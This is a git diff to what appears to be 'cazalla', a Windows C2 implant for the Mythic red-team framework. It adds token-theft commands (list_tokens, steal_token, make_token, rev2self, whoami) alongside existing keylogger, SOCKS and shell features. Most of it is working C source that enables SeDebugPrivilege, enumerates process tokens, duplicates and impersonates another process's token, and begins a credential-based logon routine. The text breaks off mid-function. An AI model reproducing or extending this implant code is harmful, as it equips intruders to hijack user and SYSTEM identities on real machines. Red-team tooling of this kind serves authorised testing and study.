diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index f3d3804..ac9efcb 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -83,6 +83,26 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { _inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea); StopKeylogger(analizadorTarea); _inf("===== KEYLOG_STOP_CMD COMPLETED ====="); + } else if (tarea == LIST_TOKENS_CMD) { + _inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea); + ListarTokens(analizadorTarea); + _inf("===== LIST_TOKENS_CMD COMPLETED ====="); + } else if (tarea == STEAL_TOKEN_CMD) { + _inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea); + RobarToken(analizadorTarea); + _inf("===== STEAL_TOKEN_CMD COMPLETED ====="); + } else if (tarea == MAKE_TOKEN_CMD) { + _inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea); + CrearToken(analizadorTarea); + _inf("===== MAKE_TOKEN_CMD COMPLETED ====="); + } else if (tarea == REV2SELF_CMD) { + _inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea); + RevertirToken(analizadorTarea); + _inf("===== REV2SELF_CMD COMPLETED ====="); + } else if (tarea == WHOAMI_CMD) { + _inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea); + ObtenerUsuarioActual(analizadorTarea); + _inf("===== WHOAMI_CMD COMPLETED ====="); } else { _wrn("Tarea desconocida: 0x%02x", tarea); // liberar analizador si no será usado por otro handler diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index beae04f..5f02974 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -12,6 +12,7 @@ #include "SistemadeFicheros.h" #include "screenshot.h" #include "keylog.h" +#include "tokens.h" #define SHELL_CMD 0x54 #define GET_TASKING 0x00 @@ -41,6 +42,13 @@ #define START_SOCKS_CMD 0x60 #define STOP_SOCKS_CMD 0x61 +/* Token commands */ +#define LIST_TOKENS_CMD 0x32 +#define STEAL_TOKEN_CMD 0x33 +#define MAKE_TOKEN_CMD 0x34 +#define REV2SELF_CMD 0x35 +#define WHOAMI_CMD 0x36 + /* Extension marker to carry SOCKS array in binary messages */ #define SOCKS_BLOCK_MARKER 0xF5 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index b03d580..9a9a8dd 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -514,7 +514,8 @@ BOOL addInt64(PPaquete paquete, UINT64 valor) { if (!paquete->buffer) { return FALSE; } - addInt64ToBuffer((PUCHAR)(paquete->buffer), valor); + // Write at the end of the buffer (paquete->length offset) + addInt64ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor); paquete->length += sizeof(UINT64); return TRUE; } @@ -785,4 +786,85 @@ VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystroke SIZE_T keys_len = strlen(keystrokes); addInt32(paquete, (UINT32)keys_len); addString(paquete, keystrokes, FALSE); +} + +// Helper function to add token to response packages +// Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8] +// All optional fields use length-prefixed strings, integers are big-endian +VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups, + UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted, + PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number, + PCHAR app_container_sid, PCHAR privileges, UINT64 handle) { + if (!paquete) { + return; + } + + // Token marker (0xF4) + addByte(paquete, 0xF4); + + // Required: token_id + addInt32(paquete, token_id); + + // Optional fields - use empty string if NULL + #define ADD_OPT_STRING(str) do { \ + if (str) { \ + SIZE_T len = strlen(str); \ + addInt32(paquete, (UINT32)len); \ + addString(paquete, str, FALSE); \ + } else { \ + addInt32(paquete, 0); \ + } \ + } while(0) + + ADD_OPT_STRING(host); + ADD_OPT_STRING(description); + ADD_OPT_STRING(user); + ADD_OPT_STRING(groups); + + addInt32(paquete, thread_id); + addInt32(paquete, process_id); + + ADD_OPT_STRING(default_dacl); + addInt32(paquete, session_id); + addByte(paquete, restricted ? 1 : 0); + + ADD_OPT_STRING(capabilities); + ADD_OPT_STRING(logon_sid); + addInt32(paquete, integrity_level_sid); + addInt32(paquete, app_container_number); + + ADD_OPT_STRING(app_container_sid); + ADD_OPT_STRING(privileges); + + // Handle as 8-byte integer (UINT64) + addInt64(paquete, handle); +} + +// Helper function to add callback token (register/unregister token for use in tasking) +// Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4] +// action must be "add" or "remove" +VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id) { + if (!paquete || !action) { + return; + } + + // Callback token marker (0xF3) + addByte(paquete, 0xF3); + + // Action length and value ("add" or "remove") + SIZE_T action_len = strlen(action); + addInt32(paquete, (UINT32)action_len); + addString(paquete, action, FALSE); + + // Host (optional - use empty string if NULL) + if (host) { + SIZE_T host_len = strlen(host); + addInt32(paquete, (UINT32)host_len); + addString(paquete, host, FALSE); + } else { + addInt32(paquete, 0); + } + + // Token ID + addInt32(paquete, token_id); } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h index 06ce3be..b78b92e 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h @@ -56,4 +56,20 @@ VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 /* action must be "add" or "remove", cmd is the command name */ VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd); +/* Keylog helper: for reporting keystrokes to Mythic */ +/* Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes] */ +VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes); + +/* Token helper: for reporting tokens to Mythic (viewable in Search -> Tokens) */ +/* Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8] */ +VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups, + UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted, + PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number, + PCHAR app_container_sid, PCHAR privileges, UINT64 handle); + +/* Callback token helper: for registering/unregistering tokens for use in tasking */ +/* Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4] */ +/* action must be "add" or "remove" */ +VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.c new file mode 100644 index 0000000..854fdb4 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/tokens.c @@ -0,0 +1,889 @@ +#undef UNICODE +#include +#include "tokens.h" +#include "paquete.h" +#include "analizador.h" +#include "identity.h" +#include "debug.h" +#include +#include + +// Global token handle for impersonation (similar to Xenon's gIdentityToken) +static HANDLE gImpersonationToken = NULL; + +// Forward declarations +BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano); + +/** + * @brief Enable SeDebugPrivilege to allow opening system processes + * This is required to list tokens from SYSTEM and other high-privilege processes + * Based on common Windows privilege escalation pattern + */ +BOOL EnableSeDebugPrivilege(VOID) { + HANDLE hToken = NULL; + TOKEN_PRIVILEGES tokenPriv = {0}; + LUID luid = {0}; + + // Open the process token + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { + _err("[EnableSeDebugPrivilege] No se pudo abrir token del proceso. Código: %lu", GetLastError()); + return FALSE; + } + + // Lookup the LUID for SeDebugPrivilege + if (!LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &luid)) { + _err("[EnableSeDebugPrivilege] No se pudo buscar SeDebugPrivilege. Código: %lu", GetLastError()); + CloseHandle(hToken); + return FALSE; + } + + // Set up the privilege structure + tokenPriv.PrivilegeCount = 1; + tokenPriv.Privileges[0].Luid = luid; + tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + // Enable the privilege + if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { + _err("[EnableSeDebugPrivilege] No se pudo ajustar privilegios. Código: %lu", GetLastError()); + CloseHandle(hToken); + return FALSE; + } + + // Check if privilege was actually enabled + DWORD lastError = GetLastError(); + if (lastError == ERROR_NOT_ALL_ASSIGNED) { + _wrn("[EnableSeDebugPrivilege] SeDebugPrivilege no está disponible en este token"); + CloseHandle(hToken); + return FALSE; + } + + CloseHandle(hToken); + _inf("[EnableSeDebugPrivilege] SeDebugPrivilege habilitado exitosamente"); + return TRUE; +} + +/** + * @brief List all available tokens from running processes + * Reports tokens using addToken() helper for Mythic integration + */ +VOID ListarTokens(PAnalizador argumentos) { + SIZE_T tamanoUuid = 36; + UINT32 nbArg = getInt32(argumentos); + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, tareaUuid, FALSE); + + PPaquete salida = nuevoPaquete(0, FALSE); + + // Enable SeDebugPrivilege to access system processes + BOOL debugEnabled = EnableSeDebugPrivilege(); + if (!debugEnabled) { + PackageAddFormatPrintf(salida, FALSE, "[list_tokens] Advertencia: No se pudo habilitar SeDebugPrivilege. Solo se mostrarán tokens accesibles.\n"); + } + + HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (toolhelp == INVALID_HANDLE_VALUE) { + PackageAddFormatPrintf(salida, FALSE, "[list_tokens] Error: No se pudo crear snapshot de procesos. Código: %lu\n", GetLastError()); + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + return; + } + + PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) }; + UINT32 token_counter = 1; // Start from 1 (agent-generated token_id) + DWORD current_pid = GetCurrentProcessId(); + char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0}; + DWORD hostname_len = sizeof(hostname); + GetComputerNameA(hostname, &hostname_len); + + if (Process32First(toolhelp, &pe)) { + do { + // Skip current process to avoid issues + if (pe.th32ProcessID == current_pid) { + continue; + } + + // Try with full access first (requires SeDebugPrivilege for system processes) + HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID); + if (!hProcess) { + // Try with limited information if full access fails + hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID); + if (!hProcess) { + continue; // Skip if we can't open the process + } + } + + HANDLE hToken = NULL; + if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) { + char user_info[512] = {0}; + char account_name[256] = {0}; + char domain_name[256] = {0}; + + BOOL got_user = obtenerNombreDelToken(hProcess, user_info, sizeof(user_info)); + if (got_user) { + // Parse user_info as "DOMAIN\USER" + char* backslash = strchr(user_info, '\\'); + if (backslash) { + SIZE_T domain_len = backslash - user_info; + memcpy(domain_name, user_info, domain_len); + strcpy(account_name, backslash + 1); + } else { + strcpy(account_name, user_info); + } + } + + DWORD session_id = 0; + ProcessIdToSessionId(pe.th32ProcessID, &session_id); + + DWORD thread_id = 0; // We don't have thread info, use 0 + + // Get token handle value (cast to UINT64) + UINT64 token_handle = (UINT64)(ULONG_PTR)hToken; + + // Build output text first (include process name from pe.szExeFile) + PackageAddFormatPrintf(salida, FALSE, + "Token ID: %lu | PID: %lu | Process: %s | User: %s | Session: %lu\n", + token_counter, pe.th32ProcessID, pe.szExeFile, user_info, session_id); + + // Store token info for later (we'll add tokens after output) + // For now, we'll add tokens after the output text + + token_counter++; + + CloseHandle(hToken); + } + + CloseHandle(hProcess); + } while (Process32Next(toolhelp, &pe)); + } + + // Add output text FIRST (before markers) + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + + // Now add tokens AFTER output text + // Re-iterate to add tokens (we need to do this again because we need the tokens after output) + CloseHandle(toolhelp); + token_counter = 1; + toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (toolhelp == INVALID_HANDLE_VALUE) { + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); + return; + } + + if (Process32First(toolhelp, &pe)) { + do { + if (pe.th32ProcessID == current_pid) { + continue; + } + + // Try with full access first (requires SeDebugPrivilege for system processes) + HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID); + if (!hProcess) { + // Try with limited information if full access fails + hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID); + if (!hProcess) { + continue; // Skip if we can't open the process + } + } + + HANDLE hToken = NULL; + if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) { + char user_info[512] = {0}; + char account_name[256] = {0}; + char domain_name[256] = {0}; + + BOOL got_user = obtenerNombreDelToken(hProcess, user_info, sizeof(user_info)); + if (got_user) { + char* backslash = strchr(user_info, '\\'); + if (backslash) { + SIZE_T domain_len = backslash - user_info; + memcpy(domain_name, user_info, domain_len); + strcpy(account_name, backslash + 1); + } else { + strcpy(account_name, user_info); + } + } + + DWORD session_id = 0; + ProcessIdToSessionId(pe.th32ProcessID, &session_id); + + DWORD thread_id = 0; + UINT64 token_handle = (UINT64)(ULONG_PTR)hToken; + + // Add token to response (AFTER output text) + addToken(respuesta, token_counter, hostname, "", account_name, domain_name, + thread_id, pe.th32ProcessID, "", session_id, FALSE, + "", "", 0, 0, "", "", token_handle); + + token_counter++; + + CloseHandle(hToken); + } + + CloseHandle(hProcess); + } while (Process32Next(toolhelp, &pe)); + } + + CloseHandle(toolhelp); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); +} + +/** + * @brief Steal token from a process and impersonate it + * Based on Xenon's TokenSteal implementation + * Reference: https://github.com/kyxiaxiang/Beacon_Source/blob/main/Beacon/identity.c#L65 + */ +VOID RobarToken(PAnalizador argumentos) { + // For input_type=string commands, format is: [UUID:length_prefixed][nbArg:4][param1:length_prefixed][param2:length_prefixed]... + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + + // Enable SeDebugPrivilege to access system processes + BOOL debugEnabled = EnableSeDebugPrivilege(); + if (!debugEnabled) { + _wrn("[steal_token] No se pudo habilitar SeDebugPrivilege. Puede fallar con procesos del sistema."); + } + + if (nbArg < 1) { + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: Se requiere PID\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // PID comes as a string parameter (input_type=string means all params are strings) + SIZE_T pid_len = 0; + PCHAR pid_str = getString(argumentos, &pid_len); + + // Convert PID string to integer + UINT32 pid = 0; + if (pid_str && pid_len > 0) { + // Null-terminate the PID string for atoi + char pid_buffer[32] = {0}; + SIZE_T copy_len = (pid_len < sizeof(pid_buffer) - 1) ? pid_len : sizeof(pid_buffer) - 1; + memcpy(pid_buffer, pid_str, copy_len); + pid_buffer[copy_len] = '\0'; + pid = (UINT32)atoi(pid_buffer); + _inf("[steal_token] PID string recibido: '%.*s', convertido a: %lu", (int)pid_len, pid_str, pid); + if (pid_str) { + LocalFree(pid_str); + } + } else { + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo leer PID del buffer\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + _inf("[steal_token] Intentando robar token del PID: %lu", pid); + + // Validate PID (Windows PIDs typically start from 4, with 4 being System) + if (pid == 0 || pid == 2) { + // PID 0 and 2 are reserved/invalid + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: PID %lu no es válido (PIDs 0 y 2 están reservados)\n", pid); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Open process - Xenon uses PROCESS_QUERY_INFORMATION + // Try with PROCESS_QUERY_INFORMATION first (requires SeDebugPrivilege for system processes) + HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); + if (!hProcess) { + DWORD firstError = GetLastError(); + _wrn("[steal_token] OpenProcess con PROCESS_QUERY_INFORMATION falló. Código: %lu. Intentando con PROCESS_QUERY_LIMITED_INFORMATION", firstError); + + // Try with limited information + hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (!hProcess) { + DWORD finalError = GetLastError(); + _err("[steal_token] No se pudo abrir proceso %lu. Primer intento (PROCESS_QUERY_INFORMATION): %lu, segundo intento (PROCESS_QUERY_LIMITED_INFORMATION): %lu", pid, firstError, finalError); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir proceso %lu. Código: %lu (Intentos: PROCESS_QUERY_INFORMATION=%lu, PROCESS_QUERY_LIMITED_INFORMATION=%lu)\n", pid, finalError, firstError, finalError); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } else { + _inf("[steal_token] Proceso abierto con PROCESS_QUERY_LIMITED_INFORMATION"); + } + } else { + _inf("[steal_token] Proceso abierto con PROCESS_QUERY_INFORMATION"); + } + + // Open token - Xenon uses TOKEN_ALL_ACCESS (requires SeDebugPrivilege for system processes) + HANDLE hToken = NULL; + DWORD desiredAccess = debugEnabled ? TOKEN_ALL_ACCESS : (TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE); + + _inf("[steal_token] Intentando abrir token con acceso: 0x%08lX (debugEnabled=%d)", desiredAccess, debugEnabled); + + if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) { + DWORD firstError = GetLastError(); + _wrn("[steal_token] OpenProcessToken con acceso 0x%08lX falló. Código: %lu", desiredAccess, firstError); + + // If TOKEN_ALL_ACCESS failed, try with granular permissions + if (desiredAccess == TOKEN_ALL_ACCESS) { + desiredAccess = TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE; + _inf("[steal_token] Intentando con acceso granular: 0x%08lX", desiredAccess); + if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) { + DWORD secondError = GetLastError(); + _wrn("[steal_token] OpenProcessToken con acceso 0x%08lX falló. Código: %lu", desiredAccess, secondError); + + desiredAccess = TOKEN_DUPLICATE | TOKEN_QUERY; + _inf("[steal_token] Intentando con acceso mínimo: 0x%08lX", desiredAccess); + if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) { + DWORD finalError = GetLastError(); + CloseHandle(hProcess); + _err("[steal_token] Todos los intentos de OpenProcessToken fallaron. Primer error: %lu, segundo: %lu, final: %lu", firstError, secondError, finalError); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir token. Código: %lu (Intentos: TOKEN_ALL_ACCESS=%lu, TOKEN_DUPLICATE|QUERY|IMPERSONATE=%lu, TOKEN_DUPLICATE|QUERY=%lu)\n", finalError, firstError, secondError, finalError); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + } + } else { + CloseHandle(hProcess); + _err("[steal_token] OpenProcessToken falló. Código: %lu", firstError); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir token. Código: %lu\n", firstError); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + } + + _inf("[steal_token] Token abierto exitosamente con acceso: 0x%08lX", desiredAccess); + + // Revert any existing impersonation FIRST (like Xenon's IdentityAgentRevertToken) + if (gImpersonationToken) { + RevertToSelf(); + CloseHandle(gImpersonationToken); + gImpersonationToken = NULL; + _inf("[steal_token] Revertido a token original antes de robar nuevo."); + } + + // Step 1: Impersonate the process token directly first (Xenon approach) + if (!ImpersonateLoggedOnUser(hToken)) { + DWORD error = GetLastError(); + CloseHandle(hToken); + CloseHandle(hProcess); + _err("[steal_token] No se pudo impersonar token del proceso. Código: %lu", error); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo impersonar token del proceso. Código: %lu\n", error); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Step 2: Duplicate the ORIGINAL token (not the impersonated one) as TokenPrimary + // Xenon uses MAXIMUM_ALLOWED, SecurityDelegation, and TokenPrimary + HANDLE hDupToken = NULL; + if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gImpersonationToken)) { + DWORD error = GetLastError(); + RevertToSelf(); // Revert the temporary impersonation + CloseHandle(hToken); + CloseHandle(hProcess); + _err("[steal_token] No se pudo duplicar token. Código: %lu", error); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo duplicar token. Código: %lu\n", error); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Step 3: Impersonate the duplicated token (Xenon approach) + if (!ImpersonateLoggedOnUser(gImpersonationToken)) { + DWORD error = GetLastError(); + RevertToSelf(); // Revert the temporary impersonation + CloseHandle(gImpersonationToken); + gImpersonationToken = NULL; + CloseHandle(hToken); + CloseHandle(hProcess); + _err("[steal_token] No se pudo impersonar token duplicado. Código: %lu", error); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo impersonar token duplicado. Código: %lu\n", error); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Close handles (Xenon closes hProcess first, then hToken) + CloseHandle(hProcess); + if (hToken) { + CloseHandle(hToken); + } + + // Get account name from the duplicated token + char account_name[512] = {0}; + if (!IdentityGetUserInfo(gImpersonationToken, account_name, sizeof(account_name))) { + strcpy(account_name, "Unknown"); + } + + // Generate token_id (use PID for simplicity) + UINT32 token_id = pid; + + // Register token with callback for use in tasking + char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0}; + DWORD hostname_len = sizeof(hostname); + GetComputerNameA(hostname, &hostname_len); + + PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaFinal, tareaUuid, FALSE); + PPaquete salidaFinal = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaFinal, FALSE, "[steal_token] Token robado e impersonado exitosamente: %s (Token ID: %lu)\n", account_name, token_id); + addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE); + + // Add artifact for token impersonation + char artifact_msg[512] = {0}; + snprintf(artifact_msg, sizeof(artifact_msg), "Process Token Impersonation: PID %lu -> User: %s", pid, account_name); + addArtifact(respuestaFinal, "Token Impersonation", artifact_msg); + + // Add callback token registration + addCallbackToken(respuestaFinal, "add", hostname, token_id); + + mandarPaquete(respuestaFinal); + liberarPaquete(salidaFinal); + liberarPaquete(respuestaFinal); +} + +/** + * @brief Create token using credentials and impersonate it + * Based on Xenon's TokenMake implementation + */ +VOID CrearToken(PAnalizador argumentos) { + // For input_type=string commands, format is: [UUID:36 bytes fixed][nbArg:4][param1:length_prefixed][param2:length_prefixed]... + // UUID is 36 bytes fixed (no length prefix), same as steal_token + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + + // Ensure UUID is null-terminated for addString (same as screenshot) + CHAR uuidBuffer[37] = {0}; + if (tareaUuid && tamanoUuid == 36) { + memcpy(uuidBuffer, tareaUuid, 36); + uuidBuffer[36] = '\0'; + if (tareaUuid != uuidBuffer) { + LocalFree(tareaUuid); // Free original UUID string + } + tareaUuid = uuidBuffer; + _inf("[make_token] UUID recibido: %s (length: %zu)", tareaUuid, tamanoUuid); + } else { + _err("[make_token] UUID inválido (len=%zu)", tamanoUuid); + if (tareaUuid) { + LocalFree(tareaUuid); + } + // Use placeholder if UUID is invalid + memcpy(uuidBuffer, "00000000-0000-0000-0000-000000000000", 36); + tareaUuid = uuidBuffer; + } + + if (nbArg < 3) { + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: Se requieren dominio, usuario y contraseña\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + SIZE_T domain_len = 0; + SIZE_T user_len = 0; + SIZE_T pass_len = 0; + PCHAR domain = getString(argumentos, &domain_len); + PCHAR user = getString(argumentos, &user_len); + PCHAR password = getString(argumentos, &pass_len); + + // Validate that all required strings were read + if (!domain || !user || !password) { + _err("[make_token] Error leyendo parámetros: domain=%p, user=%p, password=%p", domain, user, password); + if (domain) LocalFree(domain); + if (user) LocalFree(user); + if (password) LocalFree(password); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudieron leer los parámetros\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // logon_type comes as a string parameter (input_type=string means all params are strings) + UINT32 logon_type = 9; // Default: LOGON32_LOGON_NEW_CREDENTIALS + if (nbArg >= 4) { + SIZE_T logon_type_len = 0; + PCHAR logon_type_str = getString(argumentos, &logon_type_len); + + if (logon_type_str && logon_type_len > 0) { + // Null-terminate the logon_type string for atoi + char logon_type_buffer[32] = {0}; + SIZE_T copy_len = (logon_type_len < sizeof(logon_type_buffer) - 1) ? logon_type_len : sizeof(logon_type_buffer) - 1; + memcpy(logon_type_buffer, logon_type_str, copy_len); + logon_type_buffer[copy_len] = '\0'; + 